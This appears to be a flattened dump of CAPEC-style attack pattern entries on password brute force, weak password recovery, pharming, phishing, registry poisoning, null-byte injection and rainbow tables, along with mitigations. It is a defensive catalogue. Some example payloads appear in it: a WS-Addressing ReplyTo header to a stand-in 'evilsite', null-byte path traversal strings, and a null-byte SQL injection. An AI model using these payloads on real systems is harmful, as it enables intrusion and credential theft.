In this attack, the attacker tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password. A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy. In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.).

Determine application's/system's password policy Determine the password policies of the target application/system. Determine minimum and maximum allowed password lengths. env-All Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.). env-All Determine account lockout policy (a strict account lockout policy will prevent brute force attacks). env-All Passwords are used in the application/system env-All Passwords are not used for authentication; however, brute forcing of other protection mechanisms may also be possible. env-All Brute force password Given the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access. Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so. env-All Perform an offline dictionary attack or a rainbow table attack against a known password hash. env-All Weak passwords allowed, and no account lockout policy enforced. env-All Password hashes can be captured by attacker. env-All Accounts locked out after small number of failed authentication attempts. env-All Attacker determines correct password for a user ID and obtains access to application or system. Attacker is unable to determine correct password for a user ID and obtain access to application or system. Attacker locks out account while attempting to brute force its password. Large number of authentication failures in logs. Enforce strict account lockout policies. Enforce strong passwords (having sufficient length and containing mix of lower case and upper case letters, numbers, and special characters) Deny login attempts from sources that produce too many failed attempts. Note that this may cause problems where many users may have the same "source" as far as the application/system is concerned (e.g. a lot of users behind a NAT device). An attacker needs to know a username to target. The system uses password based authentication as the one factor authentication mechanism. An application does not have a password throttling mechanism in place. A good password throttling mechanism will make it almost impossible computationally to brute force a password as it may either lock out the user after a certain number of incorrect attempts or introduce time out periods. Both of these would make a brute force attack impractical. High Medium Brute Force A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case english letters only. The system does not implement any password throttling mechanism. Assuming the attacker does not know the length of the users' password, an attacker can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the attacker were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger. An attacker's job would' have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid english words containing up to five letters than 12,356,631, an attack that tries each of the entries in the english dictionary would go even faster. A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords). CVE-2004-1143 Low: A brute force attack is very straightforward. A variety of password cracking tools are widely available. A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge). Many incorrect login attempts are detected by the system. Try to spoof IP addresses so that it does not look like the incorrect log in attempts are coming from the same computer. Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user. Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users. Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen. Privilege Escalation 521 Targeted 262 Targeted 263 Targeted 257 Targeted 693 Targeted 16 More Detailed Occasionally Precedes 70 More Detailed Occasionally Precedes 55 Occasionally Follows Penetration High High Low All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on "forgot password" and there is a good chance that the security question there will be to provide mother's maden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.

Understand the password recovery mechanism and how it works. Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer. The system allows users to recover their passwords and gain access back into the system. Password recovery mechanism has been designed or implemented insecurely. Password recovery mechanism relies only on something the user knows and not something the user has. No third party intervention is required to use the password recovery mechanism. High Medium Brute Force API Abuse Injection An attacker clicks on the "forgot password" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system. phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL. A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over his account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module. The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression: if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)* (\.[a-z]{2,3})$", $email)){ A bug in the implementation of eregi() allows to pass additional character using a null byte "\0". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the gular expression. So an e-mail address can be provided that includes the special character " ' " to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible: $get_info=mysql_query("select * from banneruser where email='$email' "); This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database. Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system. CVE-2006-3013 Low: Brute force attack Medium: Social engineering and more sophisticated technical attacks. For a brute force attack one would need a machine with sufficient CPU, RAM and HD. Trial and error (brute force). Social Engineering. Many incorrect attempts to answer the security question. Use multiple security questions (e.g. have three and make the user answer two of them correctly). Let the user select their own security questions or provide them with choices of questions that are not generic. E-mail the temporary password to the registered e-mail address of the user rather than letting the user reset the password online. Ensure that your password recovery functionality is not vulnerable to an injection style attack. Privilege Escalation 522 Targeted 640 Targeted 718 Targeted Penetration High High Low All All All All http://www.redteam-pentesting.de/advisories/rt-sa-2006-005.txt Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to his site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information. The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original website When the victim requests the URL for the site, the poisoned records direct the victim to the attacker's system rather than the original one. Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now "farm" sensitive information such as credentials or account numbers. Vulnerable DNS software or improperly protected hosts file or router that can be poisoned A website that handles sensitive information but does not use a secure connection and a certificate that is valid is also prone to pharming Very High High Spoofing Analysis Modification of Resources An online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection. An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims. Medium: The attacker needs to be able to poison the resolver - DNS entries or local hosts file or router entry pointing to a trusted DNS server - in order to successfully carry out a pharming attack. Setting up a fake website, identical to the targeted one, does not require special skills. Except having enough knowledge of the way the targeted site has been structured in order to create a fake version, no additional resources are required. Poisoning the resolver requires knowledge of a vulnerability that can be exploited. The attacker observes the targeted website for use of secure connection to exchange sensitive information. If it does not use secure connections, victim users cannot distinguish between the original and fake versions of the website. The attacker can also fingerprint the software running on the targeted system (DNS server, router or host) and look for vulnerabilities in order to poison the entries. All sensitive infomation must be handled over a secure connection. Known vulnerabilities in DNS or router software or in operating systems must be patched as soon as a fix has been released and tested. End users must ensure that they provide sensitive information only to websites that they trust, over a secure connection with a valid certificate issued by a well-known certificate authority. Information Leakage Pharming attacks occur when victims provide sensitive information to websites that do not possess a valid certificate from well-known certificate authorities. As a consequence, the attacker either can employ a certificate from a random authority or can get away without using one. The use of valid certificates from well-known certificate authorities ensures that the URL hosting the website matches the IP address it is intended to resolve to, and that this fact has been attested to by a well-known authority. If a mismatch is detected, the browser informs the user that the certificate is not a valid one. Of course, this depends on the user heeding such warnings and this makes such an attack all the more dangerous for users that are not security savvy. Pharming originates when the DNS software or the local hosts resolution file can be poisoned or the router's trusted DNS server entry served to the clients is modified. DNS cache poisoning can be avoided by regularly patching the software to keep it up-to-date to guard against vulnerabilities and not accepting DNS updates from anyone other than authenticated sources. Similarly, the local hosts file and the router entries can be protected by appropriate access control and keeping the relevant software regularly patched. 346 Targeted 247 Targeted 292 Targeted CVE-2005-0877 Dnsmasq before 2.21 allows remote attackers to poison the DNS cache via answers to queries that were not made by Dnsmasq. CVE-2004-1754 The DNS proxy (DNSd) for multiple Symantec Gateway Security products allows remote attackers to poison the DNS cache via a malicious DNS server query response that contains authoritative or additional records. Reluctance To Trust Promoting Privacy Use Authentication Mechanisms, Where Appropriate, Correctly Use Well-Known Cryptography Appropriately and Correctly Reconnaissance High High Low Client-Server SOA All All All Chiradeep B. Chhaya 2007-03-12 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revision of content

Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or "fishing" for information.

Obtain domain name and certificate to spoof legitimate site This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate. Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L) env-Web Optionally obtain a legitimate SSL certificate for the new domain name. env-Web Websites can acquire many domain names that are similar to their own. For example, the company example.com should be sure to register example.net, .org, .biz, .info and so on. Likewise they should register exarnple.com, examp1e.com, exampIe.com (and possibly .net, .org variations). Although this does not preclude the possibility of phishing, it makes the attacker's job harder because all the easily believable names are taken. Explore legitimate website and create duplicate An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that he or she is trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here. Use spidering software to get copy of web pages on legitimate site. env-Web Manually save copies of required web pages from legitimate site. env-Web Create new web pages that have the legitimate site's look at feel, but contain completely new content. env-Web Convince user to enter sensitive information on attacker's site. An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user. Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link. env-Web Place phishing link in post to online forum. env-Web Legitimate user clicks on link supplied by attacker and enters the requested information. Legitimate user realizes that the e-mail is not legitimate, or that the attacker's website is not legitimate, and therefore, does not enter the information requested by the attacker. Monitor server logs for referrers. Phishing websites frequently include links to "terms and conditions" "privacy" and other standard links on the legitimate site. Users' web browsers will generally reveal the phishing site in the Referrer header. Since the URL may not visually stand out compared to the legitimate URL, some programmatic consolidation of referrers from log files may be required to ensure that example.com stands out from examp1e.com, for example. Use stolen credentials to log into legitimate site Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice. Log in to the legitimate site using another user's supplied credentials env-Web Use a human verifiable shared secret between legitimate site and end user such as the one provided by PassMark Security (now part of RSA Security). This prevents the attacker from using stolen credentials. Note that this does not protect against some man-in-the-middle attacks where an attacker establishes a session with the legitimate site and convinces an end user to establish a session with him. The attacker then records and forwards information flowing between the end user and the trusted site. This security control is currently used by many online banking websites including Bank of America's website. Use an out-of-band user authentication mechanism before allowing particular computers to "register" to use the legitimate site with particular login credentials. This also prevents the attacker from using stolen credentials. An example may be sending a SMS message to the user's cell phone (cell phone number previously acquired by site) with an "activation code" every time the user attempts to log into the site from a new computer. This solution also does not protect against the man-in-the-middle attack described in the previous security control.This mechanism is currently used by several online banking websites including JP Morgan Chase's website. An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail. An attacker needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims. An attacker needs to have a sufficiently compelling call to action to prompt the user to take action. The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity. Very High High Social Engineering Spoofing John gets an official looking e-mail from his bank stating that his or her account has been temporarily locked due to suspected unauthorized activity and that John needs to click on the link included in the e-mail to log in to his bank account in order to unlock it. The link in the e-mail looks very similar to that of his bank and once the link is clicked, the log in page is the exact replica. John supplies his login credentials after which he is notified that his account has now been unlocked and that everything is fine. An attacker has just collected John's online banking information which can now be used by him or her to log into John's bank account and transfer John's money to a bank account of the attacker's choice. Medium Some web development tools to put up a fake website. You receive an e-mail from an entity that you are not even a customer of prompting you to log into your account. You receive any e-mail that provides you with a link which takes you to a website on which you need to enter your log in information. Making the link in the e-mail and the actual website look very legitimate. Do not follow any links that you receive within your e-mails and certainly do not input any login credentials on the page that they take you too. Instead, call your Bank, Paypal, Ebay, etc., and inquire about the problem. A safe practice would also be to type the URL of your bank in the browser directly and only then log in. Also, never reply to any e-mails that ask you to provide sensitive information of any kind. Privilege Escalation Information Leakage Data Modification Reconnaissance High High Low Client-Server SOA All All All Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Evgeny Lebanidze Cigital, Inc., 2007-03-22 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata (to effect a denial of service), and delete information about service provider interfaces. WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. The attacker that can rewrite WS-addressing information gains the ability to route service requesters to any service providers, and the ability to route service provider response to any service. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. The basic flow for the attacker consists of either altering the data at rest in the registry or uploading malicious content by spoofing a service provider. The service requester is then redirected to send its requests and/or responses to services the attacker controls.

The attacker must be able to write to resources or redirect access to the service registry. Very High High Modification of Resources Injection Protocol Manipulation WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime. <S:Header> <wsa:MessageID> http://example.com/Message </wsa:MessageID> <wsa:ReplyTo> <wsa:Address>http://valid.example/validClient</wsa:Address> </wsa:ReplyTo> <wsa:ReplyTo> <wsa:Address>http://evilsite/evilClient</wsa:Address> </wsa:ReplyTo> <wsa:FaultTo> <wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address> </wsa:FaultTo> </S:Header> In this example evilsite is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with REpolyTo header it will not generate a Soap fault. Low: to identify and execute against an overprivileged system interface Capability to directly or indirectly modify registry resources Design: Enforce principle of least privilege Design: Harden registry server and file access permissions Implementation: Implement communications to and from the registry using secure protocols Run Arbitrary Code Information Leakage Data Modification Payload delivered through standard communication protocols, such as UDDI or WS-Addressing. Command(s) executed directly on service requester, in the case of redirect, or on the service provider, in the case of the additional replto attack. Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 285 Targeted 74 Targeted 693 Targeted Exploitation High High High SOA All All All Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).

Identify a place in the program where user input may be used to escalate privileges by for instance accessing unauthorized file system resources through directory browsing. An attacker realizes that there is a postfix data that gets in the way of getting to the desired resources An attacker then ads a postfix NULL terminator to the supplied input in order to "swallow" the postfixed data when the insertion is taking place. With the postfix data that got in the way of the attack gone, the doors are opened for accessing the desired resources. The program does not properly handle postfix NULL terminators High High Injection Modification of Resources API Abuse Directory Browsing Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string. Different forms of NULL to think about include PATH%00 PATH[0x00] PATH[alternate representation of NULL character] <script></script>%00 Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code. The problem specifically exists upon retrieving a link of the following form: GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1 Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a "file not found" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here: 0x77F83AE5 MOV EAX,[EDI+8] 0x77F83AE8 MOV ECX,[EDI+C] ... 0x77F83AED MOV [ECX],EAX The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction. Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat. An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script. Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [iDefense]. CVE-2004-0629 Consider the following PHP script: $whatever = addslashes($_REQUEST['whatever']); include("/path/to/program/" . $whatever . "/header.htm"); A malicious attacker might open the following URL, disclosing the boot.ini file: http://localhost/phpscript.php?whatever=../../../../boot.ini%00 Medium: Directory traversal High: Execution of arbitrary code Properly handle the NULL characters supplied as part of user input prior to doing anything with the data. Data Modification Information Leakage Privilege Escalation Run Arbitrary Code 158 Targeted 172 Targeted 173 Targeted 171 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted Reluctance to Trust Penetration Exploitation High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. iDefense Labs Public Advisory: Adobe Acrobat/Acrobat Reader ActiveX Control Buffer Overflow Vulnerability Available at: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=126 Bugtraq mailing list archive: PHP Input Validation Vulnerabilities Available at: http://msgs.securepoint.com/bugtraq/ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Context Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an attacker to embed the NULL midstring while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in midstring may be used.

An attacker first probes to figure out what restrictions on input are placed by filter, such as a specific characters on the end of the URL. The attacker then injects a string of their choosing with a null terminator (using an alternate encoding such as %00), followed by a backslash (%5C), followed by some additional characters that are required to keep the filter happy The malicious string then passes through the filter and passed to the underlying API. Everything after the null terminator is ignored. This may give an attacker the opportunity to access file system resources to which they should not have access and do other things. Some popular forms in which this takes place: PATH%00%5C PATH[0x00][0x5C] PATH[alternate encoding of the NULL][additional characters required to pass filter] Null terminators are not properly handled by the filter. High High Injection A rather simple injection is possible in a URL: http://getAccessHostname/sekbin/ helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=[insert relative path here] [%00][%5C]&chapter= This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered. Medium: An attacker needs to understand alternate encodings, what the filter looks for and the data format acceptable to the target API Test the program with various inputs and observe the behavior of the filter. Overtime it should be possible to understand what the filter is expecting. Null characters are observed by the filter. The filter needs to be able to understand various encodings of the Null character, or only canonical data should be passed to it. Properly handle Null characters. Make sure canonicalization is properly applied. Do not pass Null characters to the underlying APIs. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Data Modification Information Leakage Privilege Escalation hether this terminates the string. Once again, some popular forms this takes include PATH%00%5C PATH[0x00][0x5C] PATH[alternate encoding of the NULL][additional characters required to pass filter] From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. 158 Targeted 172 Targeted 173 Targeted 171 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted 52 More Detailed Reluctance to Trust Penetration High High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An Attacker, aware of an application's location (and possibly authorized to use the application) can probe the application's structure and evaluate its robustness by probing its error conditions (not unlike one would during a 'fuzz' test, but more purposefully here) in order to support attacks such as blind SQL injection, or for the more general task of mapping the application to mount another subsequent attack.

Determine user-controllable parameters of the application Inject each parameter with content that causes an error condition to manifest Modify the content of each parameter aaccording to observed error conditions Repeat above steps with enough parameters until the application has been sufficiently mapped out to launch desired attack (for example, Blind SQL Injection) This class of attacks does not strictly require authorized access to the application. As Attackers use this attack process to classify, map, and identify vulnerable aspects of an application, it simply requires hypotheses to be verified, interaction with the application, and time to conduct trial-and-error activities. Low High Injection Brute Force Blind SQL injection is an example of this technique, applied to successful exploit. CVE-2006-4705 Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality. In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them. Medium: Although fuzzing parameters is not difficult, and often possible with automated fuzzers, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design. The Attacker needs the ability to probe application functionality and provide it erroneous directives or data without triggering intrusion detection schemes or making enough of an impact on application logging that steps are taken against the attacker. The Attack does not need special hardware, software, skills, or access. Repeated errors generated by the same piece of code are an indication, although it requires careful monitoring of the application and its associated error logs, if any. To defeat correlation, the attacker may try changing the origin IP addresses or client browser identification strings or start a new session from where he left off; any technique aimed at defeating the use of certain identification parameters for correlation goes a small way in obfuscating the attack. Application designers can construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are cataloged and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally. Application designers can wrap application functionality (preferrably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion. Information Leakage This pattern applies in the context of an application that can not be directly reverse engineered, and thus requires the attacker to conduct reverse engineering exercises indirectly as described. User-controllable input Content, based on application context, crafted to elicit error conditions from the application Error Handling mechanism within the application The impact of activation is an error condition that, hopefully for the attacker, reveals sufficient information to further map the application. 209 Targeted 248 Secondary 717 Targeted Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database. Employ application-level safeguards to filter data and handle exceptions gracefully. Failing Securely Defense in Depth Never Use Input as Part of a Directive to any Internal Component Handle All Errors Safely Reconnaissance Medium Medium Low All All All All CWE - Input Validation CWE - Improper Error Handling John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content

An attacker gets access to the database table where hashes of passwords are stored. He then uses a rainbow table of precomputed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A pasword rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constrcuted for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.

Determine application's/system's password policy Determine the password policies of the target application/system. Determine minimum and maximum allowed password lengths. env-All Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.). env-All Determine account lockout policy (a strict account lockout policy will prevent brute force attacks). env-All Passwords are used in the application/system env-All Passwords are not used in the application/system env-All Obtain password hashes An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an indivual password. Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.) env-All Obtain password hashes from platform-specific storage locations (e.g. Windows registry) env-All Sniff network packets containing password hashes. env-Web env-Peer2Peer env-ClientServer env-CommProtocol Password authentication not used in application/system. env-All At least one (unsalted) password hash obtained. No password hashes obtained by attacker. Run rainbow table-based password cracking tool An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system. Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy. env-All Success outcome in step 2. env-All Failure outcome in step 2. env-All A password corresponding to the hash recovered. Password corresponding to the hash could not be recovered with the given rainbow table. Include salts in hashes. Hash of the original password is available to the attacker. For a better chance of success, an attacker should have more than one hash of the original password, and ideally the whole table. Salt was not used to create the hash of the original password. Otherwise the rainbow tables have to be reocmputed, which is very expensive and will make the attack effectively infeasible (especially if salt was added in iterations). The system uses one factor password based authentication. Medium Medium Brute Force BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables. CVE-2006-1058 Low: A variety of password cracking tools are available that can leverage a rainbow table. The more difficult part is to obtain the password hash(es) in the first place. Rainbow table of password hash chains with the right algorithm used. A password cracking tool that leverages this rainbow table will also be required. Hash(es) of the password is required. This is a completely offline attack that an attacker can perform at their lesure after the password hashes are obtained. Use salt when computing password hashes. That is, concatenate the salt (random bits) with the original password prior to hashing it. Privilege Escalation 261 Targeted 521 Targeted 262 Secondary 263 Secondary 693 Targeted 719 Secondary 49 More Abstract Occasionally Precedes 70 More Detailed Occasionally Precedes 16 More Abstract Occasionally Precedes Penetration High High Low All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the attacker illegitimate access to the target system, without possessing the requisite credentials. Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An attacker can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication.

